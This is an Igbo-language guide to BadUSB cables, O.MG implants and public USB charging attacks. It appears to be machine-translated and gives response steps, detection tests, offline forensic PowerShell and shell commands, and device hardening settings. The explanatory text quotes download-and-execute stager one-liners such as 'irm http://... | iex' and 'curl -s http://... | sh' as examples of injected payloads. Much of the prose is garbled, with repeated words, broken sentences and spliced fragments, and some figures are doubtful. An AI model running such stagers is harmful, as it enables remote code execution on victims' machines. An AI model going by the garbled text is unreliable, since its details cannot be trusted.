eriri USB obi ọjọọ (Injection HID / BadUSB) na nchekwa nchekwa ọha¶

Ịkọnye laptọọpụ gị, smartphone, ma ọ bụ mbadamba gị n'ime eriri USB-C na-amaghị ama ma ọ bụ Lightning nke a hapụrụ n'azụ ụlọ nkwari akụ, ọnụ ụzọ ọdụ ụgbọ elu, oche azụ azụ, ma ọ bụ akpa swag ogbako, ma ọ bụ ịhụ mkparịta ụka Windows Run (Win + R), Window PowerShell, ma ọ bụ MacOS Terminal flash n'ofe ihuenyo gị maka milliseconds 500 wee malite dee na 1,000 okwu kwa nkeji ozugbo ijikọ eriri USB, draịva flash, ma ọ bụ ihe ngosi ngosi, bụ mbinye aka nke ** BadUSB / HID (Ngwaọrụ Interface mmadụ) Mwakpo Mgbochi Mgbochi*** ma ọ bụ ** Nkwụsị Ọhaneze. N'adịghị ka malware ọdịnala echekwara dị ka faịlụ na draịva mkpịsị aka nke ndị nyocha antivirus nwere ike nyochaa tupu imeghe, ngwa ngwa ngwa ngwa ngwa ngwa dị ka ** O.MG Cable **, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, na USBHarpoon, na USBHarpoon na-etinye ngwa ngwa n'ime igwe ikuku redio ma ọ bụ obere ihe ejikọtara ọnụ n'ime igwe ikuku. Eriri chaja Apple, Anker, ma ọ bụ Samsung (ihe dị naanị milimita 12 ma ọ bụ 0.47 inch n'ogologo).

Mgbe etinyere na kọmputa gị ma ọ bụ ekwentị akpọchiri akpọchi, microcontroller ahụ zoro ezo anaghị ekwupụta onwe ya na sistemụ arụmọrụ gị dị ka draịva nchekwa ma ọ bụ chaja. N'otu aka ahụ, a na-etinye ya na eriri USB D+ na D- atụdo data dị ka ọkọlọtọ USB HID kiiboodu (Class 0x03* ma ọ bụ ** USB Ethernet Network Adapter (RNDIS / ECM)**. N'ihi na Windows, macOS, Linux, iOS, na gam akporo tụkwasara obi na ahụigodo etinyere ọhụrụ na-achọghị ndị ọkwọ ụgbọ ala ma ọ bụ nyocha antivirus, eriri ahụ na-agba ọkụ ozugbo usoro mkpịsị ugodi emebere tupu ya emee.Win + R -> powershell -w hidden -ep bypass ... na Windows, ma ọ bụ Cmd + Space -> Terminal na macOS) ma ọ bụ kpalite ụgwọ ọrụ Wi-Fi a na-achịkwa nke ọma ozugbo onye mwakpo n'ime mita 90 (ụkwụ 300) pịa "Mee" na ekwentị ha. Maka ebe ikuku ikuku sara mbara yana iyi egwu netwọkụ njem n'akụkụ ọdụ ụgbọ mmiri, kpọtụrụ anyị Wi-Fi ọha, Ajọ Ejima, na ntụzịaka nchekwa ihe ọ juiceụ. Ọ bụrụ na ị chere iyi egwu anụ ahụ ma ọ bụ ịpụnaara mmadụ ihe, kpọọ nọmba mberede mpaghara gị (911 na United States na Canada, 112 gburugburu European Union, 999 na United Kingdom) ma ọ bụ hụ anyị nọmba mberede ndekọ. Soro ikewapụ ngwaike ozugbo yana omume mgbake maka nyocha n'okpuru.

Mee nke a ugbu a¶

1. **YANK eriri USB a na-enyo enyo, draịva, ọdụ ụgbọ mmiri, ma ọ bụ ụdọ chaja si n'ọdụ ụgbọ mmiri ngwaọrụ gị ozugbo ***: Nkeji ọ bụla BadUSB ma ọ bụ O.MG USB na-anọgide na-etinye ya na kọmpụta ma ọ bụ ekwentị emegheghị na-enye ohere microcontroller dị n'ime ya (ma ọ bụ onye na-awakpo dị nso jikọtara na Wi-Fi hotspot zoro ezo nke eriri) iji tinye mkpịsị ugodi, ihe na-eme ka ọwa USB na-arụ ọrụ nke na-eme ka ọ bụrụ ihe na-eme ka ọ bụrụ ihe na-eme ka ọ bụrụ eriri USB. na-edekọ paswọọdụ ọ bụla ị pịnyere na ahụigodo mpụga gị.
2. ** Kwụpụ laptọọpụ ma ọ bụ ekwentị emetụtara na Wi-Fi, Ethernet, na Bluetooth ugbu a, ma pịnyela okwuntughe ọ bụla na igwe ahụ ***: BadUSB / Rubber Ducky ọkọlọtọ 2-sekọnd anaghị ede nnukwu mmemme n'elu ngwa ngwa keyboard interface; Kama, ọ na-etinye iwu "stager" 1-ahịrị n'ime PowerShell (iex (irm http://...)ma ọ bụ MacOS Terminal (curl -s http://... | sh) nke na-ebudata trojan infostealer zuru ezu ma ọ bụ ohere dịpụrụ adịpụ site na njikọ Wi-Fi gị. Ịcha Wi-Fi na Ethernet ozugbo na-egbu nbudata ma ọ bụ kwụsị exfiltration.
3. ** Ọ bụrụ na ị pịa "Tụkwasị obi Kọmputa a" na iPhone/iPad gị ma ọ bụ họrọ "Nnyefe Faịlụ (MTP) / Kwe ka Debugging USB (ADB)" na ekwentị gam akporo gị na kiosk ọhaneze, kagbuo ntụkwasị obi ozugbo ***:
4. ** Na iPhone / iPad *: Kwupu eriri ahụ, gaa na ** Ntọala> Onye Mmepụta ** (ọ bụrụ na a na-ahụ ya na ala nke Ntọala) -> pịa ** Kpochapụ Kọmputa tụkwasịrị ntụkwasị obi. Ọ bụrụ na ahụghị onye nrụpụta, gaa na ** Ntọala> Ozuruọnụ> Nyefee ma ọ bụ Tọgharia iPhone> Tọgharia> Tọgharia ebe & Nzuzo ***, nke na-ehichapụ ihe niile ejikọtara ọnụ. lockdownd host pairing ndekọ otú ọ dịghị kọmputa ma ọ bụ kiosk nwere ike nweta gị iPhone ndabere ọzọ na-enweghị gị passcode.
5. ** Na gam akporo : Kpupu eriri, gaa na ** Ntọala> Sistemu> Nhọrọ onye nrụpụta (ma ọ bụrụ na enyere ya aka) -> kpatụ kagbuo ikike debugging USB **, gharịa ** nhọrọ onye nrụpụta* kpamkpam ** Gbanyụọ ***.
6. ** Nyochaa ihe akwụ ụgwọ igodo BadUSB dị na kọmpụta gị site na ịlele igbe ọsọ gị (RunMRU), Ndekọ iwu PowerShell (PSReadLine), na MacOS Terminal akụkọ ihe mere eme ***: Tupu ịmalitegharị, mepee windo ọnụ dị ọcha na kọmputa gị na-anọghị n'ịntanetị wee gụọ kpọmkwem iwu nke ahụ igodo USB adịgboroja tinye n'ime sistemụ gị site na iji anyị. iwu nyocha nyocha nke forensic na ngalaba 2.
7. ** Chekwa eriri USB ma ọ bụ mbanye mkpịsị aka na-enyo enyo n'ime akpa igwe ma ọ bụ akpa Faraday (Edoghachila ya na kọmpụta ọ bụla ka ị "hụ ihe dị na ya") ***: N'ihi na O.MG Cable nwere transceiver ESP8266/ESP32 Wi-Fi na-arụ ọrụ nke na-agbake mgbe ọ bụla ọ natara 5 volts (ọbụlagodi mgbe etinyere ya na mgbidi ụlọ akụ) na ebe ị nweta Wi-Fi zoro ezo ma na-enye ohere ka onye na-awakpo n'èzí ọnụ ụlọ ma ọ bụ ụlọ ọrụ gị jikọọ na ya ma ọ bụ kpalite mbibi onwe ya (Self-Destruct / Wipe) atụmatụ. Hapụ ya kpamkpam.
8. ** Ọ bụrụ na ụgwọ ọrụ BadUSB mere script na kọmputa gị mgbe ị na-abanye, tụgharịa nzere niile wee kagbuo oge na-arụ ọrụ na ngwaọrụ dị iche iche, dị ọcha **: N'ihi na pasent 90 nke ụgwọ ọrụ BadUSB ọgbara ọhụrụ na-ebuputa ihe infostealer nke na-ejide kuki nchọgharị na okwuntughe echekwara na sekọnd 3, mebie anyị. Njikọ kuki nnọkọ na ntuziaka mwepu akara infostealer site na ama dị ọcha.

Osisi mkpebi: ịzaghachi na eriri USB a na-enyo enyo na ọ dị njọ ma ọ bụ mkpughe kiosk ọha¶

Jiri usoro mgbagharị usoro a iji chọpụta ma ngwaọrụ gị emebiela ka ịtinye na eriri USB enweghị ntụkwasị obi, ọdụ ụgbọ mmiri, mbanye mkpịsị aka ma ọ bụ ọdụ ọhaneze:

flowchart TD
    Event["Etinyere n'ime eriri USB amaghi ama, achọtara Flash mbanye, ụlọ nkwari akụ / ọdụ ụgbọ elu, ma ọ bụ Hụrụ Terminal/Gbao Flash na ihuenyo."] --> Unplug["Nzọụkwụ 1: Kwupu eriri USB / ngwaọrụ ozugbo & Kwupu Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Kedu ngwaọrụ etinyere na eriri USB ma ọ bụ ọdụ ụgbọ mmiri amaghi ama?"}

    WhatDevice -->|"Windows, MacOS, ma ọ bụ Linux Laptọọpụ / Desktọpụ"| ScreenLocked{"A kpọchiri ihuenyo Kọmputa ma ọ bụ kpọchiri mgbe etinyere ya?"}
    WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"Emeghere iPhone ahụ, ma ị kpatụ 'Trust' ma ọ bụ hụ pịnye?"}
    WhatDevice -->|"Android Smartphone / Mbadamba ụrọ"| AndroidState{"E kpọchiri ekwentị ahụ, ka ọ bụ 'USB Debugging (ADB)' agbanyere?"}

    ScreenLocked -->|"Akpọchiela (Banyere na Desktọpụ)"| AssumeHID["Ihe ize ndụ dị elu: BadUSB / O.MG Cable nwere ike ịme igodo igodo (Win + R / Cmd + Space) na <1.5 Sekọnd na-enweghị ngwa ngwa ọ bụla -> Gaa na nyocha nyocha nke oge 2."]
    ScreenLocked -->|"Akpọchiri (ihuenyo okwuntughe)"| NetworkDMA["Lelee Ọ bụrụ Thunderbolt/PCIe DMA ma ọ bụ USB Ethernet (RNDIS/DHCP Poisoning) Emere; Mkpọchi igodo enweghị ike ịgafe ihuenyo mkpọchi na-enweghị paswọọdụ gị"]

    iOSState -->|"Akpọchiri oge niile (iOS 15+ / ọnọdụ mmachi USB)"| iOSSafe["Nchekwa: Apple 'USB Ọnọdụ amachibidoro' na-agbanyụ mkpọ data na iPhone ekpochi -> Naanị ike gafere"]
    iOSState -->|"Emeghere & Kpatụ 'Trust' (ma ọ bụ hụ Safari/ Ụzọ mkpirisi mepere emepe)"| iOSRevoke["Gbaa ọsọ ọsọ: Ntọala> Ozuruọnụ> Nyefee ma ọ bụ Tọgharia iPhone> Tọgharia> Tọgharia ebe & Nzuzo + Ngwa mkpirisi nyocha."]

    AndroidState -->|"Akpọchiri oge niile (Ụdị ụgwọ naanị)"| AndroidSafe["Nchekwa: Ihe ndabara gam akporo nke oge a ka ọ bụrụ 'Ọnweghị Nfefe data (naanị ụgwọ)' -> Enweghị data agafere"]
    AndroidState -->|"Mkpọchi & Hụrụ Mpempe ihuenyo ma ọ bụ ADB/MTP kwadoro"| AndroidRevoke["Gbanyụọ Nhọrọ Onye Mmepụta -> Kagbuo Debugging USB -> Lelee ngwa arụnyere na nbudata Chrome."]

Ịghọta ka BadUSB, O.MG Cables, na Mwakpo Nchaji Ọha si arụ ọrụ n'ezie¶

Iji chebe onwe gị nke ọma, ma zere ma ịghara imeghachi omume n'ezie na ntinye ngwaike na ịma jijiji maka ọdụ ụgbọ mmiri na-adịghị emerụ ahụ, ịkwesịrị ịghọta usoro teknụzụ atọ dị iche iche ndị na-awakpo na-eji USB:

1. BadUSB / HID igodo mkpịsị ugodi (O.MG Cable, Rubber Ducky, Flipper Zero)¶

• ** Ụjọ imewe dị mkpa nke USB **: Ụgbọ ala Serial Universal (USB) nkọwapụta na-enye ohere ka otu njikọ anụ ahụ kwupụta onwe ya dị ka klas ngwaọrụ ọ bụla n'oge ngụkọ (bInterfaceClass), ma ọ bụ ọbụna dị ka ** Ngwa Ngwakọta Ngwakọta *** (na-ekwupụta onwe ya n'otu oge dị ka USB Flash Drive * na igodo USB).
• ** N'ime eriri O.MG ma ọ bụ chaja obi ọjọọ ***: N'anya, eriri O.MG bụ 100 pasent enweghị ike ịmata ọdịiche dị na ezigbo eriri Apple USB-C-to-USB-C, USB-C-to-Lightning, ma ọ bụ eriri USB-A. Ọ na-ana ekwentị gị ma na-ebufe data nke ọma. Agbanyeghị, zoro ezo n'ime ọnụ njikọ njikọ na-arụ ọrụ bụ microcontroller microscopic dual-core nwere 802.11 Wi-Fi yana nchekwa ọkụ:
• ** Injection igodo na-arụ ọrụ ***: Ozugbo ị na-agbanye eriri n'ime Windows PC, Mac, ma ọ bụ smartphone emechiri emechi, eriri ahụ na-agụta dị ka ọnụọgụ igodo ** HID ** ma pịnye ihe ruru mkpụrụedemede 850 kwa nkeji.DuckyScript). N'ime 1.5 sekọnd, ọ pịa Win + R (Windows) ma ọ bụ Cmd + Space (Mac), na-ewepụta shei ndabere zoro ezo, budata ibu ọrụ ma mechie windo.
• ** Inline Hardware Keylogger (Maka Igodo USB Mpụga): Ọ bụrụ na onye na-awakpo gbanwee eriri USB na-ejikọ keyboard igwe mpụga gị na PC desktọpụ gị na eriri O.MG, ntinye ahụ na-anọdụ jụụ n'etiti waya wee dekọọ ** ihe ruru igodo 650,000 (gụnyere Bitwarden / 1Pass gị, paswọọdụ nbanye, BIOS na paswọọdụ nbanye) nke onye mwakpo ahụ na-ebudata ikuku site na mpụga ụlọ ahụ site na Wi-Fi.
• **Geofenced & ugwo ugwo oge na-egbu oge ***: N'adịghị ka $ 50 USB Rubber Ducky dị mfe nke na-etinye ụgwọ ọrụ ya ozugbo etinyere ya, O.MG Cable nwere ike ịnọrọ ụra kpamkpam dị ka eriri chaja nkịtị maka ụbọchị ụbọchị ma ọ bụ izu ** ruo mgbe ọ chọpụta netwọọdụ Wi-Fi ụlọ ọrụ gị (BSSID geofencing) ma ọ bụ ruo mgbe onye mwakpo ahụ kpalitere ya site na UI webụ arụnyere n'ime ya.

2. USB Network Adapter Hijacking (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶

• Ọbụlagodi na ihuenyo laptọọpụ gị bụ ** akpọchiri (Win + L ma ọ bụ Ctrl + Cmd + Q*** ya mere, ahụigodo USB adịgboroja enweghị ike imeghe windo ọnụ, itinye ngwa USB ọjọọ n'ọdụ ụgbọ mmiri USB anaghị emeghe na-enye ohere ka ngwaọrụ ahụ gụọ dị ka ** Ihe nkwụnye USB Ethernet nke Gigabit dị elu (dị elu).USB RNDIS ma ọ bụ CDC-ECM)**.
• N'ihi na Windows na MacOS na-ebute ụzọ na-akpaghị aka na interface Ethernet jikọọ ọhụrụ na Wi-Fi, ngwaọrụ USB na-aghọ ụzọ ndabara nke laptọọpụ gị site na DHCP.0.0.0.0/1), na-egbochi okporo ụzọ netwọkụ mpaghara ezoro ezo, zara ya WPAD / LLMNR / mDNS ajụjụ, ma ọ bụ siphon kuki ihe nchọgharị ndabere na-abụghị naanị Http.

3. Kiosk ọha "Juice Jacking" (MTP / PTP / iOS lockdownd / Android ADB)¶

• Mgbe ị na-agbanye ekwentị n'ọdụ ụgbọ mmiri USB ọha (n'ọdụ ụgbọ elu, ọdụ ụgbọ oloko, isi ụlọ nkwari akụ, ma ọ bụ nkeji infotainment ụgbọ ala mgbazinye) na-eji eriri nwere ike data mgbe niile:
• ** Gịnị na-egbochi akpaghị aka : Ebe ọ bụ na ** iOS 11.4.1 / iOS 15+ (USB Restricted Mode na ** Android 9+ (Charge-Only Default*, itinye ekwentị n'ọdụ ụgbọ mmiri data USB anaghị ekpughe foto ma ọ bụ faịlụ gị ozugbo. A na-egbochi mbufe data ruo mgbe ịmepee ekwentị ahụ wee pịa ozugbo "Tụkwasa Kọmputa a" (gbakwunyere tinye koodu passcode iPhone gị) ma ọ bụ jiri aka gbanwee ngosi USB nke Android site na * Enweghị mbufe data gaa na * Nyefee faịlụ (MTP) ma ọ bụ * Kwe Ka Mwepụta USB *.
• ** Ebe ezigbo ihe egwu dị na kiosks ọha ***:
  1. **ChoiceJacking & HID Injection na Ekwentị emechiri emechi ***: Dị ka ndị nyocha nchekwa nchekwa Mahadum Graz gosipụtara (ChoiceJacking), ọ bụrụ na ekwentị gị akpọchiela n'aka gị ** mgbe ị na-etinye ya n'ọdụ ụgbọ mmiri USB ọjọọ, kiosk nwere ike buru ụzọ depụta ya dị ka USB kiiboodu (HID) maka milliseconds 200 wee ziga kpọmkwem Tab / Enter ma ọ bụ igodo enyemaka chọrọ ** pịa "Kwe ka / Nyefee faịlụ" ozugbo maka gị na ihuenyo gị ** tupu ịbanye n'ọnọdụ nnyefe data nnabata.
  2. ** Ike ruru unyi / mmebi ngwa ngwa voltaji (Voltaji)USB Killer***: Ọdụ ụgbọ USB ọha mebiri emebi nwere ike tụfuo 200V DC site na ụlọ akụ capacitor ozugbo n'ime mgbawa USB-C nke ekwentị gị, na-eghe bọọdụ mgbagha.

Matrix ntụnyere: USB Defence Hardware & OS Nchedo¶

Nkeji 1: Otu esi achọpụta eriri USB obi ọjọọ (O.MG Cable Audit)¶

Ọ bụrụ na ịchọta eriri USB na-enyo enyo n'ụlọ ọrụ gị, jikọọ na azụ nke ahụigodo PC gị, ma ọ bụ n'ime akpa njem gị, soro usoro anọ ndị a iji chọpụta ma ọ bụ etinyere ngwaike:

1. Nnwale #1: Tulee Ọga n'ihu ma ọ bụ jiri ihe nleba anya eriri ngwaike (O.MG Malicious Cable Detector / Bleeping / Hak5 Tester*:
2. Ọkọlọtọ na-agafe agafe USB-A-gaa-USB-C, USB-A-to-Lightning, ma ọ bụ eriri USB-C na-abụghị E-akara enweghị microprocessor na-adọkpụ ugbu a mgbe naanị otu njedebe etinyere na ike.
3. Ihe nchọpụta USB nke O.MG ** (ma ọ bụ ihe nyocha USB dị ugbu a/protocol dị ka Power-Z KM003C) na-anọdụ n'etiti isi iyi ike na eriri na ** ọ nweghị ihe jikọrọ ya na njedebe dị anya nke eriri ***:
   • Ọ bụrụ na eriri na-adọta ** 30 ruo 120 milliamps (mA) nke ugbu a na 5V mgbe ọ nweghị ihe etinyere na nsọtụ ọzọ ***, ma ọ bụ na-anwa ịkparịta ụka USB. D+/D- Ndekọ n'onwe ya, ** enwere kọmputa na-arụ ọrụ / redio Wi-Fi zoro ezo n'ime isi eriri ***.
4. **Nnwale #2: Lelee ebe ịnweta Wi-Fi zoro ezo (O.MG SSIDs ma ọ bụ ESP32 MAC prefixes)*:
5. O.MG Cables na ikuku BadUSB implants na-eji ** Espressif (ESP8266 / ESP32-S2 / ESP32-C3*** mgbawa Wi-Fi n'ime shei njikọ.
6. N'iji ụlọ akụ batrị USB dịpụrụ adịpụ n'ime ebe dịpụrụ adịpụ (ọ dịghị mgbe kọmputa gị), na-agbanye eriri O.MG na-adịghị ahazi ma ọ bụ nke ndabara na-agbasakarị netwọk Wi-Fi 2.4 GHz (SSID ndabara). O.MG na 192.168.4.1, ma ọ bụ SSID zoro ezo nwere adreesị ** MAC / BSSID OUI nke Espressif Inc.** dị ka. 24:0A:C4, 30:AE:A4, 84:CC:A8, A0:20:A6, DC:4F:22, ma ọ bụghị spoofed).
7. **Nnwale #3: Nyochaa Ogologo Njikọ Overmold na Ọgbọ Ọkụ ***:
8. Tulee shei mkpuchi mkpuchi rọba nke eriri a na-enyo enyo megide ezigbo Apple ma ọ bụ eriri Anker ama n'akụkụ n'akụkụ:
   • Ọ bụ ezie na ọgbọ O.MG Cable na-adịbeghị anya dabara na akụkụ shei Apple, mgbe nkeji 3 nwetachara ike 5V, isi njikọ nwere microcontroller Wi-Fi na-arụ ọrụ ga-enwe mmetụta ** na-ekpo ọkụ (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit*** n'etiti mkpịsị aka gị ọbụlagodi mgbe ekwentị anaghị akwụ ụgwọ n'akụkụ nke ọzọ. (Ụdị eriri nkịtị na-enweghị ihe ọ bụla etinyere na njedebe dị anya na-anọgide na-ajụ oyi n'ime ụlọ okpomọkụ.)

Usoro 2: Triage Forensic Ọ bụrụ na pịnyere eriri BadUSB ma ọ bụ O.MG na Kọmputa gị¶

Ọ bụrụ na ị gbanye eriri USB, mbanye mkpịsị aka, ma ọ bụ mpụta n'ime laptọọpụ Windows, Mac, ma ọ bụ Linux wee hụ menu mmalite, Gbaa dialog (Win + R), Ntụkwasị obi (Cmd + Space), ma ọ bụ mpio ọnụ ojii/acha anụnụ anụnụ meghere wee mechie, ** maliteghachila**. Gbaa iwu ndị a na-anọghị n'ịntanetị ka ịhụ ihe ahụigodo USB adịgboroja pịnyere yana ihe ID USB Vendor/Product (VID:PID) jikọọ na ọdụ ụgbọ mmiri gị:

1. Windows 10 & Windows 11 Forensic Audit (Na-agba ọsọ na-anọghị n'ịntanetị PowerShell)¶

Mepee PowerShell (Admin) na Windows PC na-anọghị n'ịntanetị wee mee iwu anọ ndị a:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• ** Otu esi akọwa Get-ItemProperty ... RunMRU**:
• Ihe fọrọ nke nta ka ọ bụrụ Windows BadUSB / Rubber Ducky script na-amalite site na ịpị Win + R (GUI r na DuckyScript) ma dee iwu dị ka powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex ma ọ bụ cmd /c curl ....
• Ọbụlagodi na edemede ahụ nwara ihichapụ RunMRU na njedebe, ọ bụrụ na ị wepụrụ eriri ahụ n'etiti njedebe (ma ọ bụ ọ bụrụ na edemede ahụ ewepụghị ndekọ ahụ), URL na iwu ọjọọ ahụ ga-anọdụ ala n'ime. RunMRU (a, b, c ụkpụrụ) ma ọ bụ n'ime ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Na-agba ọsọ na njedebe na-anọghị n'ịntanetị)¶

Na macOS, BadUSB na-akwụ ụgwọ na-ejikarị Cmd + Space (GUI SPACE), ụdị Terminal, pịa Enter, ma gbaa a curl ma ọ bụ osascript otu ihe:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Linux Forensic Audit (dmesg & journalctl)¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Ọ bụrụ na nke ọ bụla n'ime ndekọ ndị dị n'elu na-egosi na a powershell, cmd, mshta, curl, wget, ma ọ bụ osascript iwu egburu mgbe ejikọrọ na ịntanetị, were ya na-agba ọsọ ma ọ bụ na-aga n'ihu: kagbuo nnọkọ niile site na iji anyị. Njide kuki nnọkọ na ntuziaka infostealer ma rụgharịa OS dị ọcha reinstall na-eso anyị malware, ransomware, na spyware ntuziaka ọrịa.

Nkeji 3: Ichichi ngwaọrụ gị ka eriri BadUSB enweghị ike ịme ngwa ngwa¶

Sistemụ arụmọrụ ọgbara ọhụrụ gụnyere mkpọchi ọdụ ụgbọ mmiri nwere ike arụnyere na ** kpochapụ BadUSB, O.MG Cables na Rubber Duckies kpamkpam tupu ha pịnye otu agwa, ọ bụrụhaala na ịgbanye ntọala ndị ahụ:

1. Apple macOS (Apple Silicon M1 / ​​M2 / M3 / M4 MacBooks): Kwado "Rịọ maka Ngwa ọhụrụ"¶

Na Apple Silicon Macs na-agba MacOS Ventura, Sonoma, ma ọ bụ Sequoia, Apple webatara ikike ọdụ ụgbọ mmiri USB-C / Thunderbolt ngwaike nke na-egbochi eriri USB ma ọ bụ ngwaọrụ ọhụrụ ọ bụla ịgụta dị ka keyboard ruo mgbe ị pịa n'ụzọ doro anya "Kweka": 1. Mepee ** menu Apple () > Ntọala sistemu > Nzuzo na nchekwa **. 2. Pịgharịa gaa na mpaghara ** Nchekwa ** wee chọta "Kwe ka ngwa jikọọ". 3. Gbanwee ya site na Na-akpaghị aka mgbe akpọchiri ya na "Rịọ maka ngwa ọhụrụ" (ma ọ bụ "Jụọ oge ọ bụla" maka nchekwa njem nchekwa kachasị elu). 4. ** Kedu ihe kpatara nke a ji akwụsị O.MG Cables oyi na Mac : Mgbe ị na-agbanye eriri chaja O.MG aghụghọ na * "Jụọ oge ọ bụla" ma ọ bụ * "Rịọ maka ngwa ọhụrụ" nyeere, ike na-agba ọsọ ozugbo iji chajị batrị MacBook gị, ** mana macOS na-ebulite mkparịta ụka ịdọ aka ná ntị: "Allow accessory '[Device Name]' to connect to this Mac?" N'ihi na eriri chaja chaja nkịtị anaghị arịọ ka ọ jikọọ dị ka ngwa data, ịhụ mmapụta ahụ mgbe ị na-etinye eriri chaja dị mfe ** na-ekpughere eriri USB dị ka ihe etinyere ngwaike *** ebe ọ na-egbochi 100% nke igodo ya ruo mgbe ị kwụsịrị ya.

2. Apple iPhone & iPad: Nyochaa "USB Restricted Mode" na-enyere¶

1. Mepee Ntọala> NJ ihu & Paswọdu (ma ọ bụ ** NJ mmetụ & passcode**) wee tinye koodu nbanye gị.
2. Pịgharịa gaa na mpaghara "Kwe ka ịnweta mgbe akpọchiri".
3. Gbaa mbọ hụ na agbanyụrụ ngbanwe n'akụkụ ** Ngwa ** (ma ọ bụ ** Ngwa USB *) agbanyụrụ ** Gbanyụọ (isi awọ).
4. Na ** Ngwa *** gbanyụrụ ** Gbanyụọ *, mgbe ọ bụla ekpochi iPhone gị, iOS na-ewepụ atụdo data USB n'anụ ahụ, na-enye ohere naanị ike ịchaji gafere. ** Pịa bọtịnụ akụkụ mgbe niile iji kpọchie ihuenyo iPhone gị tupu itinye ya na chaja ma ọ bụ ụgbọ ala mgbazinye ọ bụla na-amaghị ama.

3. Android 15/16 & GrapheneOS: Kwado "Nchekwa dị elu" / Mkpọchi Port USB¶

• ** Na ọkọlọtọ Android (Pixel, Samsung Galaxy) ***:
• Ahapụla ** Nhọrọ Mmepụta > Debugging USB (ADB*** akwadoro mgbe ị na-eme njem.
• Na ** Ntọala> Nchekwa & Nzuzo> Ntọala nchekwa ọzọ ** (ma ọ bụ ** Nchedo dị elu ** na gam akporo 15/16+), mee ka ** Nchedo USB / Gbochie ngwaọrụ USB ọhụrụ mgbe akpọchiri ya **.
• Kpọchie ihuenyo gị mgbe niile tupu ijikọ na ọdụ ụgbọ mmiri ọhaneze ka ChoiceJacking HID enweghị ike iji ihuenyo emechiri emechi emekọrịta.

4. Linux & Windows Enterprise: USBGuard yana mmachi nwụnye ngwaọrụ¶

• ** Na LinuxUSBGuard***: Wụnye usbguard daemon (sudo apt install usbguard), nke na-egbochi ngwaọrụ USB ọ bụla ejikọrọ ọhụrụ na-ekwupụta bInterfaceClass 03 (Igodo HID) ma ọ bụrụ na etinyelarị ahụigodo isi ma ọ bụ ruo mgbe enyere ikike nke ọma site na usbguard allow-device.
• ** Na Windows 11 Pro / Enterprise : Kwado ** Nchedo kernel DMA (BitLocker + VBS na Windows Nche> Nche ngwaọrụ> Isi kewapụ iji kwụsị Thunderbolt/PCIe DMA ọgụ, na igbachi gị ọrụ mgbe niile (Win + L) tupu ịtinye eriri USB ọ bụla amabeghị nke mere na injectors igodo enweghị ike ịnweta shei desktọpụ abanyela.

Ajụjụ a na-ajụkarị¶

Enwere ike iji eriri O.MG ọjọọ ma ọ bụ eriri BadUSB mbanye anataghị ikike iPhone m ma ọ bụ gam akporo ekwentị ma ọ bụrụ na m na-agbanye ya naanị mgbe akpọchiri ihuenyo ekwentị m?¶

Ọ bụrụ na iPhone gị nwere Ntọala> NJ ihu & Paswọdu> Nye ohere mgbe akpọchiri> Ngwa tụgharịa Gbanyụọ (ndabara na iOS 15 site na iOS 18) na ihuenyo gị na-ekpochi mgbe ị na-agbanye eriri, ọ dịghị data ma ọ bụ keystrokes nwere ike iru gị iPhone n'ihi na iOS na-ewepụ ahịrị data USB na ọkwa njikwa ngwaike ruo mgbe iji ID ihu ma ọ bụ koodu passcode gị meghee ekwentị. Agbanyeghị, oge ị kpọghee iPhone gị ka eriri O.MG ka na-agbanye, eriri ahụ nwere ike ịgụta ya dị ka keyboard USB mpụga wee ziga mkpirisi keyboard iOS ngwa ngwa (dịka. Cmd + Oghere imepe Spotlight, mepee Safari gaa na URL phishing/ nhazi profaịlụ, ma ọ bụ kpalite Ụzọ mkpirisi Apple). Edokwala eriri USB achọtara ma ọ bụ enweghị ntụkwasị obi ka etinyere mgbe ị na-emeghe ekwentị gị.

Kedu otu m ga-esi amata ọdịiche dị n'etiti ezigbo eriri USB "Charge-only" na eriri data USB nkịtị?¶

